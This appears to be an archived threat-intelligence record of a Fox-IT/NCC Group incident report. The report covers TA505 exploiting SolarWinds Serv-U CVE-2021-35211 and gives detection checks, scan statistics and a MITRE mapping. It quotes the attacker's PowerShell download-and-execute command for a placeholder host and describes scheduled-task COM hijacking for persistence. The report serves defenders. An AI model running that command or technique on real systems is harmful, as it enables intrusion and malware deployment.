{
	"id": "5adff280-353e-4925-9d98-5cf20e386e32",
	"created_at": "2026-04-06T00:22:03.03528Z",
	"updated_at": "2026-04-10T13:12:00.012543Z",
	"deleted_at": null,
	"sha1_hash": "67119961df2bdb14ac5b344edf812b0a6c5d8b97",
	"title": "TA505 exploits SolarWinds Serv-U vulnerability (CVE-2021-35211) for initial access",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 66190,
	"plain_text": "TA505 exploits SolarWinds Serv-U vulnerability (CVE-2021-\r\n35211) for initial access\r\nBy Fox IT\r\nPublished: 2021-11-08 · Archived: 2026-04-05 16:17:32 UTC\r\nNCC Group’s global Cyber Incident Response Team have observed an increase in Clop ransomware victims in the\r\npast weeks. The surge can be traced back to a vulnerability in SolarWinds Serv-U that is being abused by the\r\nTA505 threat actor. TA505 is a known cybercrime threat actor, who is known for extortion attacks using the Clop\r\nransomware. We believe exploiting such vulnerabilities is a recent initial access technique for TA505, deviating\r\nfrom the actor’s usual phishing-based approach.\r\nNCC Group strongly advises updating systems running SolarWinds Serv-U software to the most recent version (at\r\nminimum version 15.2.3 HF2) and checking whether exploitation has happened as detailed below.\r\nWe are sharing this information as a call to action for organisations using SolarWinds Serv-U software and\r\nincident responders currently dealing with Clop ransomware.\r\nModus Operandi\r\nInitial Access\r\nDuring multiple incident response investigations, NCC Group found that a vulnerable version of SolarWinds Serv-U server appeared to be the initial access used by TA505 to breach its victims’ IT infrastructure. The vulnerability\r\nbeing exploited is known as CVE-2021-35211 [1].\r\nSolarWinds published a security advisory [2] detailing the vulnerability in the Serv-U software on July 9, 2021.\r\nThe advisory mentions that Serv-U Managed File Transfer and Serv-U Secure FTP are affected by the\r\nvulnerability. On July 13, 2021, Microsoft published an article [3] on CVE-2021-35211 being abused by a Chinese\r\nthreat actor referred to as DEV-0322. Here we describe how TA505, a completely different threat actor, is\r\nexploiting that vulnerability.\r\nSuccessful exploitation of the vulnerability, as described by Microsoft [3], causes Serv-U to spawn a subprocess\r\ncontrolled by the adversary. That enables the adversary to run commands and deploy tools for further penetration\r\ninto the victim’s network. Exploitation also causes Serv-U to log an exception, as described in the mitigations\r\nsection below\r\nExecution\r\nWe observed that Base64 encoded PowerShell commands were executed shortly after the Serv-U exceptions\r\nindicating exploitation were logged. The PowerShell commands ultimately led to deployment of Cobalt Strike\r\nBeacons on the system running the vulnerable Serv-U software. The PowerShell command observed deploying\r\nhttps://blog.fox-it.com/2021/11/08/ta505-exploits-solarwinds-serv-u-vulnerability-cve-2021-35211-for-initial-access/\r\nPage 1 of 6\n\nCobalt Strike can be seen below: powershell.exe -nop -w hidden -c IEX ((new-object\r\nnet.webclient).downloadstring(‘hxxp://IP:PORT/a’))\r\nPersistence\r\nOn several occasions the threat actor tried to maintain its foothold by hijacking a scheduled tasks named\r\nRegIdleBackup and abusing the COM handler associated with it to execute malicious code, leading to\r\nFlawedGrace RAT.\r\nThe RegIdleBackup task is a legitimate task that is stored in \\Microsoft\\Windows\\Registry. The task is normally\r\nused to regularly backup the registry hives. By default, the CLSID in the COM handler is set to: {CA767AA8-\r\n9157-4604-B64B-40747123D5F2}. In all cases where we observed the threat actor abusing the task for\r\npersistence, the COM handler was altered to a different CLSID.\r\nCLSID objects are stored in registry in HKLM\\SOFTWARE\\Classes\\CLSID\\. In our investigations the task\r\nincluded a suspicious CLSID, which subsequently redirected to another CLSID. The second CLSID included three\r\nobjects containing the FlawedGrace RAT loader. The objects contain Base64 encoded strings that ultimately lead\r\nto the executable.\r\nChecks for potential compromise\r\nCheck for exploitation of Serv-U\r\nNCC Group recommends looking for potentially vulnerable Serv-U FTP-servers in your network and check these\r\nlogs for traces of similar exceptions as suggested by the SolarWinds security advisory. It is important to note that\r\nthe publications by Microsoft and SolarWinds are describing follow-up activity regarding a completely different\r\nthreat actor than we observed in our investigations.\r\nMicrosoft’s article [3] on CVE-2021-35211 provides guidance on the detection of the abuse of the vulnerability.\r\nThe first indicator of compromise for the exploitation of this vulnerability are suspicious entries in a Serv-U log\r\nfile named DebugSocketlog.txt. This log file is usually located in the Serv-U installation folder. Looking at this\r\nlog file it contains exceptions at the time of exploitation of CVE-2021-35211. NCC Group’s analysts encountered\r\nthe following exceptions during their investigations:\r\nEXCEPTION: C0000005; CSUSSHSocket::ProcessReceive();\r\nHowever, as mentioned in Microsoft’s article, this exception is not by definition an indicator of successful\r\nexploitation and therefore further analysis should be carried out to determine potential compromise.\r\nCheck for suspicious PowerShell commands\r\nAnalysts should look for suspicious PowerShell commands being executed close to the date and time of the\r\nexceptions. The full content of PowerShell commands is usually recorded in Event ID 4104 in the Windows Event\r\nlogs.\r\nCheck for RegIdleBackup task abuse\r\nhttps://blog.fox-it.com/2021/11/08/ta505-exploits-solarwinds-serv-u-vulnerability-cve-2021-35211-for-initial-access/\r\nPage 2 of 6\n\nAnalysts should look for the RegIdleBackup task with an altered CLSID. Subsequently, the suspicious CLSID\r\nshould be used to query the registry and check for objects containing Base64 encoded strings. The following\r\nPowerShell commands assist in checking for the existence of the hijacked task and suspicious CLSID content.\r\nCheck for altered RegIdleBackup task\r\nExport-ScheduledTask -TaskName “RegIdleBackup” -TaskPath “\\Microsoft\\Windows\\Registry\\” | Select-String -\r\nNotMatch “\u003cClassId\u003e{CA767AA8-9157-4604-B64B-40747123D5F2}\u003c/ClassId\u003e”\r\nCheck for suspicious CLSID registry key content\r\nGet-ChildItem -Path ‘HKLM:\\SOFTWARE\\Classes\\CLSID\\{SUSPICIOUS_CLSID}\r\nSummary of checks\r\nThe following steps should be taken to check whether exploitation led to a suspected compromise by TA505:\r\nCheck if your Serv-U version is vulnerable\r\nLocate the Serv-U’s DebugSocketlog.txt\r\nSearch for entries such as ‘EXCEPTION: C0000005; CSUSSHSocket::ProcessReceive();’ in this log\r\nfile\r\nCheck for Event ID 4104 in the Windows Event logs surrounding the date/time of the exception and look\r\nfor suspicious PowerShell commands\r\nCheck for the presence of a hijacked Scheduled Task named RegIdleBackup using the provided PowerShell\r\ncommand\r\nIn case of abuse: the CLSID in the COM handler should NOT be set to {CA767AA8-9157-4604-\r\nB64B-40747123D5F2}\r\nIf the task includes a different CLSID: check the content of the CLSID objects in the registry using the\r\nprovided PowerShell command, returned Base64 encoded strings can be an indicator of compromise.\r\nVulnerability Landscape\r\nThere are currently still many vulnerable internet-accessible Serv-U servers online around the world.\r\nIn July 2021 after Microsoft published about the exploitation of Serv-U FTP servers by DEV-0322, NCC Group\r\nmapped the internet for vulnerable servers to gauge the potential impact of this vulnerability. In July, 5945 (~94%)\r\nof all Serv-U (S)FTP services identified on port 22 were potentially vulnerable. In October, three months after\r\nSolarWinds released their patch, the number of potentially vulnerable servers is still significant at 2784 (66.5%).\r\nThe top countries with potentially vulnerable Serv-U FTP services at the time of writing are:\r\nAmount  Country \r\n1141  China \r\n549  United States \r\nhttps://blog.fox-it.com/2021/11/08/ta505-exploits-solarwinds-serv-u-vulnerability-cve-2021-35211-for-initial-access/\r\nPage 3 of 6\n\n99  Canada \r\n92  Russia \r\n88  Hong Kong \r\n81  Germany \r\n65  Austria \r\n61  France \r\n57  Italy \r\n50  Taiwan \r\n36  Sweden \r\n31  Spain \r\n30  Vietnam \r\n29  Netherlands \r\n28  South Korea \r\n27  United Kingdom \r\n26  India \r\n21  Ukraine \r\n18  Brazil \r\n17  Denmark \r\nTop vulnerable versions identified: \r\nAmount  Version \r\n441  SSH-2.0-Serv-U_15.1.6.25 \r\n236  SSH-2.0-Serv-U_15.0.0.0 \r\n222  SSH-2.0-Serv-U_15.0.1.20 \r\n179  SSH-2.0-Serv-U_15.1.5.10 \r\n175  SSH-2.0-Serv-U_14.0.1.0 \r\n143  SSH-2.0-Serv-U_15.1.3.3 \r\nhttps://blog.fox-it.com/2021/11/08/ta505-exploits-solarwinds-serv-u-vulnerability-cve-2021-35211-for-initial-access/\r\nPage 4 of 6\n\n138  SSH-2.0-Serv-U_15.1.7.162 \r\n102  SSH-2.0-Serv-U_15.1.1.108 \r\n88  SSH-2.0-Serv-U_15.1.0.480 \r\n85  SSH-2.0-Serv-U_15.1.2.189 \r\nMITRE ATT\u0026CK mapping\r\nTactic  Technique  Procedure \r\nInitial\r\nAccess \r\nT1190 –\r\nExploit Public\r\nFacing\r\nApplication(s) \r\nTA505 exploited CVE-2021-35211 to gain remote code\r\nexecution. \r\nExecution \r\nT1059.001 –\r\n Command\r\nand Scripting\r\nInterpreter:\r\nPowerShell \r\nTA505 used Base64 encoded PowerShell commands to download\r\nand run Cobalt Strike Beacons on target systems. \r\nPersistence \r\nT1053.005 –\r\n Scheduled\r\nTask/Job:\r\nScheduled\r\nTask \r\nTA505 hijacked a scheduled task named RegIdleBackup and\r\nabused the COM handler associated with it to execute malicious\r\ncode and gain persistence. \r\nDefense\r\nEvasion \r\nT1112 –\r\n Modify\r\nRegistry \r\nTA505 altered the registry so that\r\nthe RegIdleBackup scheduled task executed the FlawedGrace RAT\r\nloader, which was stored as Base64 encoded strings in the\r\nregistry. \r\nReferences \r\n[1] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35211 \r\n[2] https://www.solarwinds.com/trust-center/security-advisories/cve-2021-35211 \r\n[3] https://www.microsoft.com/security/blog/2021/07/13/microsoft-discovers-threat-actor-targeting-solarwinds-serv-u-software-with-0-day-exploit/ \r\nPublished November 8, 2021November 9, 2021\r\nhttps://blog.fox-it.com/2021/11/08/ta505-exploits-solarwinds-serv-u-vulnerability-cve-2021-35211-for-initial-access/\r\nPage 5 of 6\n\nSource: https://blog.fox-it.com/2021/11/08/ta505-exploits-solarwinds-serv-u-vulnerability-cve-2021-35211-for-initial-access/\r\nhttps://blog.fox-it.com/2021/11/08/ta505-exploits-solarwinds-serv-u-vulnerability-cve-2021-35211-for-initial-access/\r\nPage 6 of 6",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MISPGALAXY",
		"Malpedia"
	],
	"origins": [
		"web"
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		"https://blog.fox-it.com/2021/11/08/ta505-exploits-solarwinds-serv-u-vulnerability-cve-2021-35211-for-initial-access/"
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	"report_names": [
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			"main_name": "Lead",
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				"GRACEFUL SPIDER ",
				"SectorJ04 ",
				"Spandex Tempest ",
				"TA505 "
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				"Get2",
				"GraceWire",
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			"main_name": "TA505",
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				"Hive0065",
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			"source_name": "MITRE:TA505",
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				"SectorJ04 Group",
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				"G0092",
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				"CHIMBORAZO",
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				"FlowerPippi",
				"GOZ",
				"GameOver Zeus",
				"GazGolder",
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				"Jaff",
				"Kasidet",
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				"LOLBAS",
				"LOLBins",
				"Living off the Land",
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